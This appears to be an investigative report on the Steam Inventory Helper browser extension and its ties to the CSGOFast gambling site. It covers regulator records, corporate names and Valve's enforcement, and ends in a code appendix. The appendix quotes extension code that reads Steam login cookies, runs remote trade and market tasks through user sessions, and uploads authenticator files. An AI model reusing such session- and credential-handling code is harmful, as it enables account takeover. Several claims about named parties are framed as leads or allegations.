2025 Gamusoft order records Steam login from a Dutch IP, a $6 bitcoin deposit credited as 9.22 F, participation in Double and a bitcoin withdrawal route. Its published record calls csgofast.com an unlawful gambling offering, says the order became final and records continuing violations and accrued penalties. [P05] [P06]\n\nThe Dutch enforcement record identifies the operator, the deposit, the game and the withdrawal route. The “non-casino” description does not survive the regulator’s recorded transaction: a Steam login, a real bitcoin deposit and a final unlawful-gambling order.\n\nThe documents name the entities behind the commercial system: RedBoon Limited for the extension, RedBoon FZE LLC in the product blog, Gamusoft LP in Ksa’s order, and Lumigrid OÜ and Payplaysoft Limited in the current CSGOFast footer. The product integration is visible in the interface and code; the named entities form the corporate record alongside it. [P08] [P13] [P24]\n\nFor Valve, accepting an operator’s chosen label would leave the central question untouched: what commercial activity is being performed through Steam accounts and how is the prohibition enforced? [P17]\n\nSHIPPED PACKAGE\nThe trade window is tagged as CSGOFast inventory.\n\nThe shipped package injects a CSGOFast referral into the trade window: t.sih-db.com/promo?subid1=trade_window&subid2=csgofast. The operator’s own code tags the user’s trade window as CSGOFast inventory — a present-tense product integration, not 2015 history. Who pays for that placement, and since when? [SUPPLIED AUDIT §2.2]\n\nSHIPPED PACKAGE\nThe “advertising/information service” is wired to a gambling-banner endpoint.\n\nThe same package fetches gambling-sector banners from gainskins.steaminventoryhelper.com. The terms that deny gambling-related promotion describe an advertising and information service — that service is wired to a gambling-banner endpoint. [P08] [SUPPLIED AUDIT §2.2]\n\nREGULATOR RECORD\nThe penalty schedule the operator outlasted.\n\nKsa’s penalty schedule ran at €280,000 per week, up to €840,000, and the regulator records violations that continued after finality with penalties accruing. An operator that outlasts its own enforcement order is exactly the record Valve’s 2016 account must explain. [P05] [P06]\n\nREGULATOR RECORD\nThe account route was the working front door.\n\nKsa’s operational log records a Dutch-IP login through an existing Steam account on 29 January 2025 and again on 17 March 2025. The account route was the working front door. [P06]\n\nCORPORATE REGISTER\nThe names behind the front doors.\n\nRedBoon Limited (432621, Cyprus) for the extension; Lumigrid OÜ (17589540, Estonia) and PAYPLAYSOFT LIMITED (HE454356, Cyprus) in CSGOFast’s current footer. Payplaysoft and RedBoon list the same building and office number in Nicosia. The operator’s corporate record should identify the beneficial owners behind this connected commercial system. [P08] [P24]\n\nSHIPPED PACKAGE\nThe operator’s code and the casino’s frontend point at each other.\n\nThe SIH package itself carries CSGOFast material: a “CSGOFast: Confirm trade” notification and send-trade branch in sihAgent.js, and CSGOFAST references in the active background bundle. [F01 ↗]\n\nRELATED FINANCIAL RECORDMoney in. Internal units. Conditions on money out.Read the existing comparison of CSGOFast, Empire and Roll funding, token language and identity demands ↗\nRead the original 11 October wording\n\nPreserved verbatim from the supplied 11 October 2026 edition. “Today” and “currently” refer to that edition; its original estimates and formulations remain available alongside the dated text above.\n\nRedBoon Limited (432621, Cyprus) for the extension; Lumigrid OÜ (17589540, Estonia) and PAYPLAYSOFT LIMITED (HE454356, Cyprus) in CSGOFast’s current footer. Payplaysoft and RedBoon list the same building and office number in Nicosia. A shared address is an ownership lead, not proof; the beneficial-owner record remains undisclosed. [P08] [P24]\n\nOpen this passage in the complete original edition →\n07 / THE RELATIONSHIP PRE-DATES THE CRACKDOWN\nFrom a sponsor’s banner to a Steam operating layer.\n\nThe first-party announcements put the CSGOFast relationship in 2015. A 2016 notice records an ownership change. The relationship therefore predates Valve’s July 2016 crackdown; the chronology begins with those dated announcements.\n\n11 NOVEMBER 2015\nThe scraping business is as old as the announcements.\n\nBefore any sponsorship, the original developer (VplGhost) wrote publicly about Steam’s request limits, HTTP 429 responses, queued price requests and a move toward outside price providers. The 2015 limits are why the work moved onto users’ machines. [P25]\n\nDECEMBER 2015\nCSGOFast sponsorship becomes explicit.\n\nThe original developer first disclosed a sponsorship proposal, then confirmed sponsorship and an extension trade-offer banner. SIH 1.8.3 also added CSGOFast price data. The advertising and market-data relationship was already public. [P20–21]\n\n16 MAY 2016\nSIH announces a new owner.\n\nThe original announcement says an individual bought the extension. A contemporary reproduction attributes the announcement to a CSGOFast-branded Steam alias. The dated announcements document the extension passing into CSGOFast’s orbit; who holds it today is the operator’s record to disclose. [P22–23]\n\nJULY–OCTOBER 2016\nValve issues notices and reports account closures.\n\nCSGOFast is named in the notice record; the operator announces a stoppage. Valve subsequently describes its account-level action to WSGC. These are the historical acts against which the later infrastructure must be assessed. [P01] [P03–04]\n\nNOVEMBER 2024\nThe product already discusses authenticator cloud data.\n\nSIH’s update describes a cloud-data deletion control and expanded marketplace integrations. This is evidence of product development, not an acquisition date. [P14]\n\nAPRIL 2025\nA regulator documents the operating gambling service.\n\nKsa orders Gamusoft LP to stop the Dutch offering through csgofast.com. The public record later reports continued violations. [P05–06]\n\nOCTOBER 2026\nThe integration and the client are inspectable.\n\nCSGOFast’s published frontend links SIH and checks its connection and permission state. The signed 2.12.1 client contains remote task and account-operation paths. The browser captures show what the user-facing commercial layer looks like. [P10] [PACKAGE RECORD]\n\n08 / THE QUESTION IS VALVE’S CONTROL\nPublish the enforcement decisions, not just a ban total.\n\nThe relevant rules address commercial use, account access, automation and interference with Steam’s interface or marketplace processes. Their practical meaning depends on how Valve applies them to the particular business and mechanism. [P16–17]\n\nValve’s current subscriber agreement restricts account sharing and unauthorized commercial use, addresses modification of Steam or its marketplace, and prohibits automation. Steam’s conduct rules identify advertising and gambling as prohibited commercial activity. An extension’s ability to run in a browser does not establish a contractual exception. The missing record is Valve’s application of these rules to the documented integration. [P16–17]\n\nThere is also a concrete legal lead on selective access. NYAG’s 2026 complaint, paragraphs 90–99, alleges distinctions between gambling sites and cash marketplaces and describes account-access decisions involving OPSkins, CSGOSell, CSFloat and Skinport. The complaint alleges that more than 2,500 Skinport accounts were unlocked in March 2024. These are filed allegations — and they document Valve making selective restoration decisions for commercial businesses, the same discretionary treatment the investigation’s chain traces to stolen skins returned to another commercial entity in the same region. [P15]\n\nThat record sharpens the demand: identify the decision-makers, criteria, authorizations and restrictions. A platform can count blocked accounts while withholding the decisions that determine which commercial businesses retain access. The CSGOFast/SIH case is a way to examine that gap through an actual integration.\n\nWhich CSGOFast-related Steam accounts and commercial capabilities were disabled after the 2016 notice, and which later returned?\nWhat does Valve know about the current SIH connection and permission flow used by CSGOFast, and what action or authorization followed?\nHow does Valve distinguish an ordinary user action from a remote commercial task executed through that user’s session?\nWhich rules apply to outside storefronts, gambling-sector promotions, token-return handlers and third-party confirmation automation?\nWhen commercial accounts are restored, what criteria govern the decision, and are comparable remedies available to ordinary users?\nWhat evidence of reduced operator capability accompanies public account-ban totals?\n\nA closed account is an enforcement event.\nThe survival of commercial control is an enforcement outcome.\n\nTRUST DISPLAYED / BUSINESS DOCUMENTED\nA verified publisher. A casino’s Steam integration.\n\nThe retained Chrome Web Store listing presents the publisher as the owner of the listed website, displays a Featured badge and says it has a good record with no history of violations. The same listing names RedBoon Limited, declares Non-trader status and discloses authentication information and user activity among the handled data.\n\nTHE STORE’S TRUST SIGNAL\nThe badge sits beside the install button.\n\nOne million displayed users. 17.9K ratings. A 4.5 score. The listing supplies the public assurance; the review-contest chapter records how ratings were solicited through rewards.\n\nReview manipulation record →\nTHE CASINO RELATIONSHIP\nThe history reaches back before Valve’s notice.\n\nCSGOFast sponsorship and a trade-offer banner were announced in December 2015. The ownership announcement followed in May 2016. The casino was named in Valve’s July notice; the present extension supplies the market, advertising and account-control integration shown here.\n\nRead the complete chronology →\nRetained Chrome Web Store listing · 11 October 2026 ↗\n09 / TRUST, ACQUISITION AND ACCESS\nRecruiting users. Operating through their accounts.\n\nThe review-incentive record now connects recruitment and reputation to the software examined here. The relationship inquiry follows the separate question of who receives access and remedies, and on what terms.\n\nREVIEW AUDIT / 84 CONTEST RECORDS\nReview incentives manufacture the public trust used to recruit users.\n\nThe review audit documents manipulation through incentives: entry into a prize draw is tied to a Store rating, a written comment and submission of its link. The resulting review is produced through a reward condition, then displayed to the next prospective user as part of the product’s public reputation. The supplied corpus contains 4,089 written reviews, 84 contest-post records and 286 developer replies. The full chapter connects the forms, timing, complaints and replies to the commercial system examined here. Read the review-incentive case → [P19]\n\nRELATIONSHIP / OPEN LEAD\nWho obtained an exception, through whom, and for what?\n\nThe investigation follows the chain connecting the current CSGOFast owner, one intermediary, and the Valve management that restored stolen skins to another commercial business in the same region. The question is who obtained that remedy, through which relationship and on what terms. The requested record is specific: the people’s roles, dated communications, the restoration decision and the affected inventory. Valve should explain how that treatment compares with the remedies offered to ordinary victims of inventory theft.\n\nESTABLISHED FOUNDATION\nThe Valve question already has documentary substance.\n\nThe 2016 representations, the historical sponsor connection, the later regulator record, CSGOFast’s SIH integration, the supplied browser captures and the pinned client code stand independently. The review chapter adds the recruitment record: incentive conditions, contest dates and the operator’s replies. Together, these sources trace the commercial system from public trust to Steam-account access.\n\n10 / REPRODUCIBLE EVIDENCE\nTechnical appendix. Open the proof when needed.\n\nThe supplied 2.11.12 report is retained below. The follow-up independently obtained 2.12.1 from Google’s update service, verified three CRX3 signatures and matched the extension ID. The signature checks bind these findings to the acquired archive and its extension identity.\n\nThree dated records. Two SIH versions.\nRecord\tPackage\tEvidence\n10 October 2026 · static audit\tSIH 2.11.12 · official ZIP\tCredential extraction, trade paths and offline fixtures; no live account used in that audit.\n11 October 2026 · signed follow-up\tSIH 2.12.1 · Google CRX\tSC01–SC33, original file hashes and byte locations; static package inspection.\n11 October 2026 · supplied runtime capture\tSIH 2.11.12 · isolated browser\tCapture record: connection, server configuration, price uploads, advertising and OpenID activity.\n33 code records, source excerpts and the complete original auditOPEN TECHNICAL EVIDENCE\nPackage identity, preservation and method\n\nExtension: Steam Inventory Helper · cmeakgjggjdlcpncigglobpjbkabhmjl\nNew specimen: 2.12.1 · acquired 11 October 2026, 03:32:42 UTC · 72,297,305 bytes.\nCRX SHA-256: 950791bc18cfbc71e883e365078cd6e6094468c2d15aafcd1fd12413f2d289ea\n\nEarlier specimen: official ZIP 2.11.12 · SHA-256 63755fe96c0a55826d45661f8aec56a0b173a833ddf0e64074fd5a798425bd6a. The earlier code record remains on the extension-audit page. The provided report’s transformed line numbers are not used as offsets in the new build.\n\nSeven original files covering the 33 new locations were preserved with their hashes, alongside acquisition and signature records. All five supplied SIH screenshots are displayed in the gallery and retained unchanged, together with the unmodified report. The separate screenshot of an earlier page layout remains a design reference. The extension was never run during this code review. No task, Steam-account, backup or advertising endpoint was contacted.\n\nOfficial acquisition source [P12] · Earlier independent audit ↗ · Machine-readable verification record ↗\n\nSource register ↓\nSC01 · Registered worker loads the background bundles\n\nThe registered service worker loads the inspected background bundles; these are part of the extension’s executable background path.\n\nFILE: service-worker.js\nSHA-256: 03bc8f4d0ab34af3d93c0245ebb58a680b06443348473ea36d87cb975a48b64c\nOriginal line 11 · zero-based anchor byte 393 · retained excerpt bytes 393–532 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC01 ↗\nimportScripts('bundle/js/common.js', 'bundle/js/background.js', 'bundleAngular/backgroundAngular.js');\n} catch (e) {\n  console.error(e);\n}\n\nSC02 · WSS provider and named setting\n\nThe client registers the WebSocket transport and a setting governing market-controller behavior.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 1 · zero-based anchor byte 1,213,154 · retained excerpt bytes 1,213,004–1,213,472 (end exclusive).\n\nThe connection heartbeat and runner are implemented in the inspected client package.\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC02 ↗\nsage:JSON.stringify({name:\"ping\"}),pingTime:25e3},r=new $y.BasicStorage,n=new Wy(nk),o=new Ky(\"\".concat(t,\":AgentWSSProvider:\")),i=new zy.WSProvider(\"wss://wss-new.steaminventoryhelper.com\",o,e);n.wrap(i);var a=new Ky(\"\".concat(t,\":Agent:\")),s=new Vy(QA,i,r,a),c=new Yy(s,\"sih_app_market_toggle\",(function(){return Promise.resolve(!0)}),2e3);return c.run(),c}catch(t){return console.error(\"SIHAgentBackgroundScript: agent initialization error\",t),null}}();const ik=ok;\nSC03 · Agent checks a local switch and Steam authorization\n\nThe runner checks both the local controller setting and Steam authorization before taking the reviewed path.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 1 · zero-based anchor byte 513,761 · retained excerpt bytes 513,451–513,783 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC03 ↗\nnected\"),!1))}},{key:\"check\",value:(t=vy(dy().mark((function t(){var e,r;return dy().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.next=2,v.w.get(Ps.Ay);case 2:return e=t.sent,t.next=5,v.w.getLocal({userInfo:{authorization:!1}});case 5:return r=t.sent.userInfo.authorization,t.abrupt(\"return\",e[this.settingName]&&r\nSC04 · Default local controller switch is false\n\nThe default configuration disables the local market-controller switch. Enabled clients, rather than every installation, define the relevant population.\n\nFILE: bundle/js/common.js\nSHA-256: c7f12e778d48dffc105ab3a784b35b4d49967c38d4f1646e405d04126781a976\nOriginal line 1 · zero-based anchor byte 213,540 · retained excerpt bytes 213,540–213,564 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC04 ↗\nsih_app_market_toggle:!1\nSC05 · Server ping stores cohort, switch and cadence\n\nThe server response can supply the controller switch, account-suffix cohort and request cadence.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 1 · zero-based anchor byte 465,316 · retained excerpt bytes 465,136–465,768 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC05 ↗\n}if(!h.timer){t.next=28;break}return c.timer=h.timer,t.next=28,v.w.setLocal({INVENTORY_PARSING_INFO:c});case 28:if(!h.controllerIds){t.next=31;break}return t.next=31,v.w.setLocal({AVAILABLE_CONTROLLER_LAST_NUMBER_IDS:h.controllerIds});case 31:if(!h.itemPayIds){t.next=34;break}return t.next=34,v.w.setLocal({AVAILABLE_ITEM_PAY_IDS:h.itemPayIds});case 34:return t.next=36,v.w.set({server_switch_controller:h.controller||!1});case 36:if(!h.ids||a.length){t.next=39;break}return t.next=39,v.w.setLocal({USER_PARSING_INVENTORY_LIST:h.ids});case 39:return t.next=41,v.w.set({is_available_trade_web_api:h.isAvailableWebApi||!0});case 41:t\nSC06 · Cohort and order controller gates\n\nEligibility combines server-selected account suffixes with order-related branches. The operator’s configuration shapes the participating client population.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 1 · zero-based anchor byte 1,224,975 · retained excerpt bytes 1,224,975–1,225,810 (end exclusive).\n\nSteamID suffixes give the server a cohort selector; pending-order branches provide additional enabling conditions.\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC06 ↗\nh=f.AVAILABLE_CONTROLLER_LAST_NUMBER_IDS,p=l&&l.steamId?+l.steamId[l.steamId.length-1]:null,!((d=l&&l.authorization)&&r&&s&&h.includes(p))){t.next=33;break}return t.abrupt(\"return\",!0);case 33:if(!(d&&r&&s&&c.length)){t.next=35;break}return t.abrupt(\"return\",!!c.length);case 35:if(!(d&&r&&o.success)||o.tfaNeed){t.next=41;break}return y=[\"new\",\"created\",\"processing\",\"sent\"],m=o.orders.data.filter((function(t){return y.includes(t.status)}))||[],t.abrupt(\"return\",!!i.length||!!m.length);case 41:return t.abrupt(\"return\",!1);case 42:case\"end\":return t.stop()}}),t)})))),dk(this,gk,uk(sk().mark((function t(){return sk().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.next=2,e.isEnabled();case 2:if(!t.sent){t.next=7;break}if(!(Date.now()-vk.ts>=9e5)){t.next=7;break}return vk.ts=Date.now(),t.abrupt(\"return\",!0);case 7\nSC07 · Finite market task vocabulary\n\nThe market controller declares nine named task types covering the reviewed market operations.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 1 · zero-based anchor byte 531,463 · retained excerpt bytes 531,463–532,086 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC07 ↗\nrv=\"trader_tool.steam.get_my_listings\",nv=\"trader_tool.steam.get_market_history\",ov=\"trader_tool.steam.sell_item\",iv=\"trader_tool.steam.remove_listing\",av=\"trader_tool.steam.sell_items\",sv=\"trader_tool.steam.remove_listings\",cv=\"trader_tool.steam.get_price_overview\",uv=\"trader_tool.steam.get_price_overviews\",lv=\"trader_tool.steam.get_wallet_currency\",fv=function(){return{client:\"sih-extension\",clientVersion:chrome.runtime.getManifest().version,capabilities:Object.values(p)}},hv=\"connect\",pv=\"jsonsend\",dv=\"tradesend\",yv=\"tradeaccept\",vv=\"tradedecline\",mv=\"tradecancel\",gv=\"permissionsget\",bv=\"permissionsrequest\",wv=\"p\nSC08 · Task dispatcher selects hardcoded handlers\n\nThe dispatcher maps a received task type to a fixed handler in the shipped bundle.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 1 · zero-based anchor byte 1,131,800 · retained excerpt bytes 1,131,800–1,132,774 (end exclusive).\n\nEach received task type selects its mapped implementation handler in the shipped bundle.\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC08 ↗\nTask.new handler: called\"),t.t0=e.action,t.next=t.t0===rv?5:t.t0===nv?8:t.t0===ov?11:t.t0===iv?14:t.t0===av?17:t.t0===sv?20:t.t0===cv?23:t.t0===uv?26:t.t0===lv?29:32;break;case 5:return t.next=7,AS(e,r);case 7:return t.abrupt(\"break\",33);case 8:return t.next=10,rS(e,r);case 10:return t.abrupt(\"break\",33);case 11:return t.next=13,dT(e,r);case 13:return t.abrupt(\"break\",33);case 14:return t.next=16,ZS(e,r);case 16:return t.abrupt(\"break\",33);case 17:return t.next=19,IT(e,r);case 19:return t.abrupt(\"break\",33);case 20:return t.next=22,iT(e,r);case 22:return t.abrupt(\"break\",33);case 23:return t.next=25,DS(e,r);case 25:return t.abrupt(\"break\",33);case 26:return t.next=28,BS(e,r);case 28:return t.abrupt(\"break\",33);case 29:return t.next=31,KS(e,r);case 31:case 32:return t.abrupt(\"break\",33);case 33:r.logger.log(\"Task.new handler: done\"),t.next=39;break;case 36:t.prev=36,t.t1=t.catch(0),r.logger.error(\"Task.new handler: error\",t.t1);case 39:case\"end\":return t.stop()\nSC09 · Authenticated listing removal and result\n\nA handler can remove a market listing through an authenticated Steam request and return the result.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 1 · zero-based anchor byte 878,381 · retained excerpt bytes 878,381–878,803 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC09 ↗\nTraderTool removeListing: called\"),t.next=6,sE(n,r.storage.get(\"steamId\"),r.storage.get(\"sessionId\"));case 6:s=t.sent,r.provider.send({event:pv,payload:{event:pv,data:{success:s,listingId:n,requestId:i,steamAccountMarketId:a},messageId:e.messageId}}),r.logger.log(\"TraderTool removeListing: done\"),t.next=15;break;case 11:t.prev=11,t.t0=t.catch(2),r.provider.send({event:pv,payload:{event:pv,data:{success:!1,listingId:n,r\nSC10 · Price lookup uses a fixed Steam endpoint\n\nThe price handler builds a request to a fixed Steam market endpoint.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 1 · zero-based anchor byte 1,045,007 · retained excerpt bytes 1,045,007–1,045,190 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC10 ↗\nurl:\"https://steamcommunity.com/market/priceoverview/?appid=\".concat(n,\"&currency=\").concat(e,\"&market_hash_name=\").concat(r)}));case 1:case\"end\":return t.stop()}}),t)})),function(){v\nSC11 · Batch pricing stops when rate-limited\n\nBatch price handling detects a rate-limit response and stops that batch. The requests remain subject to Steam’s controls.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 1 · zero-based anchor byte 1,061,142 · retained excerpt bytes 1,061,142–1,061,462 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC11 ↗\n\"STEAM_RATE_LIMITED\"!==(h=g_(t.t0)).code){t.next=20;break}return t.abrupt(\"break\",24);case 20:c.push({clientItemId:l.clientItemId,marketHashName:l.marketHashName,ok:!1,lowestPrice:null,medianPrice:null,volume:null,code:h.code||\"STEAM_ERROR\",message:h.message||\"Failed to fetch price\"});case 21:u++,t.next=6;break;case 24\nSC12 · Trade send uses Steam request credentials\n\nThe trade-send path uses session-associated request credentials for the Steam trade endpoint.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 1 · zero-based anchor byte 1,200,176 · retained excerpt bytes 1,200,176–1,200,676 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC12 ↗\nurl:\"https://steamcommunity.com/tradeoffer/new/send\",headers:{\"Content-Type\":\"application/x-www-form-urlencoded\"},data:e,xhrFields:{withCredentials:!0}});case 6:return i=t.sent,t.next=9,Xs.removeRule(o);case 9:i&&r.provider.send({event:dv,payload:{event:dv,data:{tradeId:i.tradeofferid,customId:n.data.customId||\"\"},messageId:n.messageId}}),t.next=18;break;case 12:return t.prev=12,t.t0=t.catch(1),t.t0,t.next=17,Xs.removeRule(o);case 17:r.provider.send({event:dv,payload:{event:dv,data:{error:t.t0.r\nSC13 · Permission request starts unaccepted\n\nA permission-request record begins with acceptance set to false, and the client opens the permission interface.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 1 · zero-based anchor byte 938,100 · retained excerpt bytes 938,100–938,991 (end exclusive).\n\nThis branch stores pending permission and opens the popup. It documents the client-side permission step. The corresponding controller authorisation and task logs are records the operator should disclose.\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC13 ↗\ni=e.data.permission,a=e.data.project.name,Object.keys(o).length){t.next=11;break}o[i]=YE({},a,{icon:e.data.project.icon,isBanned:!1,isAccepted:!1}),t.next=24;break;case 11:if(s=o[i]){t.next=16;break}o[i]=YE({},a,{icon:e.data.project.icon,isBanned:!1,isAccepted:!1}),t.next=24;break;case 16:if(!(c=s[a])||c.isBanned||c.isAccepted){t.next=21;break}throw Error(\"Awaiting a response from a user\");case 21:if(!c||!c.isBanned&&!c.isAccepted){t.next=23;break}throw Error(\"Permission for this project have already been processed\");case 23:s[a]={icon:e.data.project.icon,isBanned:!1,isAccepted:!1};case 24:return t.next=26,v.w.set({projects_permissions:o});case 26:return r.provider.send({event:bv,payload:{event:bv,data:{},messageId:e.messageId}}),t.next=29,ax.openPopup();case 29:t.next=35;break;case 31:t.prev=31,t.t0=t.catch(0),t.t0,r.provider.send({event:bv,payload:{event:bv,data:{error:t.t0.me\nSC14 · Dynamic cookie-header rule\n\nThe extension constructs dynamic request-header rules supporting its authenticated requests.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 1 · zero-based anchor byte 563,455 · retained excerpt bytes 563,455–563,638 (end exclusive).\n\nThe background bundle constructs the dynamic request-header rules used by the extension’s authenticated requests.\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC14 ↗\nrequestHeaders:[{header:\"Cookie\",operation:\"set\",value:e}]},t.t2={urlFilter:r},t.abrupt(\"return\",{id:t.t0,priority:1,action:t.t1,condition:t.t2});case 6:case\"end\":return t.stop()}}),t\nSC15 · Trade-cookie read and local request counter\n\nThe client reads the trade cookie and maintains a local request counter.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 1 · zero-based anchor byte 566,554 · retained excerpt bytes 566,554–567,191 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC15 ↗\nTRADE_REQUEST_LIMIT_COUNT:0});case 52:if(x=t.sent,E=x.TRADE_REQUEST_LIMIT_COUNT,!((void 0===E?0:E)>19)){t.next=57;break}return t.abrupt(\"return\");case 57:_=[\"sessionid\",\"steamCountry\",\"timezoneOffset\",\"steamLoginSecure\",\"Steam_Language\",\"webTradeEligibility\",\"tsTradeOffersLastRead\"],chrome.cookies.getAll({domain:\"steamcommunity.com\"},function(){var t=mm(ym().mark((function t(n){var o,s,c;return ym().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.prev=0,o=n.filter((function(t){return _.includes(t.name)})),s=o.map((function(t){return\"\".concat(t.name,\"=\").concat(\"Steam_Language\"!==t.name?t.value:\"english\")})).join(\";\nSC16 · Price upload has response-driven delay\n\nA separate price-observation upload path processes a response-specified delay.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 17 · zero-based anchor byte 1,965,617 · retained excerpt bytes 1,965,617–1,966,087 (end exclusive).\n\nThe record identifies both routes: WSS task responses and the separate price-observation upload. Their destinations and handling appear in the retained code.\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC16 ↗\nhttps://items.steaminventoryhelper.com/prices/v2/update\",data:r});case 14:return a=t.sent,t.next=17,v.w.setLocal({userSteamPrice:{}});case 17:if(!a.data.delay){t.next=20;break}return t.next=20,v.w.setLocal({userSteamPriceDelay:{date:Date.now(),delay:a.data.delay}});case 20:if(!a.success||a.data.delay){t.next=23;break}return t.next=23,v.w.setLocal({userSteamPriceDelay:{}});case 23:t.next=38;break;case 25:return t.prev=25,t.t0=t.catch(0),t.next=29,v.w.setLocal({userSt\nSC17 · Backup serializes stored maFile records\n\nThe backup function serializes stored account records and a manifest before transmitting a Base64-wrapped payload.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 17 · zero-based anchor byte 1,474,594 · retained excerpt bytes 1,474,594–1,475,734 (end exclusive).\n\ngetAllWithKeys returns stored values. Base64 is not encryption; it can wrap already-encrypted values.\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC17 ↗\ngP(this,\"makeBackUp\",yP(pP().mark((function e(){var r,n,o,i,a,s,c,u,l;return pP().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.prev=0,n=new lO(\"SIH_SDA\",\"mafiles\",eP),o=new lO(\"SIH_SDA\",\"manifest\",eP),e.next=5,n.openDB();case 5:return e.next=7,o.openDB();case 7:return e.next=9,n.getAllWithKeys();case 9:return i=e.sent,e.next=12,o.get(rP,!1);case 12:if(a=e.sent,i.length||null!=a&&null!==(r=a.entries)&&void 0!==r&&r.length){e.next=15;break}return e.abrupt(\"return\");case 15:return e.next=17,v.w.getLocal(\"sihAppCoreToken\");case 17:return s=e.sent,c=s.sihAppCoreToken,u={manifest:btoa(encodeURIComponent(JSON.stringify(a))),maFiles:btoa(encodeURIComponent(JSON.stringify(i)))},e.next=22,Gs.Ay.apiRequest({method:\"POST\",url:\"\".concat(t.apiUrl,\"/sync\"),data:u,headers:{\"X-Sih-Token\":c}});case 22:if((l=e.sent)&&l.success){e.next=25;break}throw Error(\"Backup sync failed\");case 25:e.next=32;break;case 27:return e.prev=27,e.t0=e.catch(0),console.error(\"Backup error:\",e.t0),e.next=32,v.w.set({enabledBackupSDA:!1});case 32:case\"end\":return e.stop()}}),e,null,[[0,27]])})))),gP(this,\"removeBackUp\",function(){var e=yP(pP().ma\nSC18 · Backup base endpoint\n\nThe backup helper has a server-side destination configured in the bundle.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 17 · zero-based anchor byte 1,476,301 · retained excerpt bytes 1,476,301–1,476,351 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC18 ↗\ngP(wP,\"apiUrl\",\"https://core.sih.app/sih/backups\")\nSC19 · Raw IndexedDB cursor records\n\nThe IndexedDB helper returns stored values together with their keys, establishing what the backup routine reads.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 1 · zero-based anchor byte 1,331,750 · retained excerpt bytes 1,331,750–1,332,249 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC19 ↗\nsO(this,\"getAllWithKeys\",oO(rO().mark((function t(){var e,r;return rO().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:if(t.prev=0,i.db){t.next=3;break}throw Error(\"Database is not open\");case 3:return e=i.db.transaction([i.storeName],\"readonly\"),r=e.objectStore(i.storeName),t.abrupt(\"return\",new Promise((function(t,e){var n=[],o=r.openCursor();o.onsuccess=function(e){var r=e.target.result;r?(n.push({key:r.key,value:r.value}),r.continue()):t(n)},o.onerror=function(t){e(Error(\"Error getti\nSC20 · SDA encryption before storage\n\nWhen a passkey is supplied, the storage path writes the encryption result. Otherwise, the path can write the object.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 17 · zero-based anchor byte 1,524,154 · retained excerpt bytes 1,524,154–1,525,108 (end exclusive).\n\nThe storage branch writes an 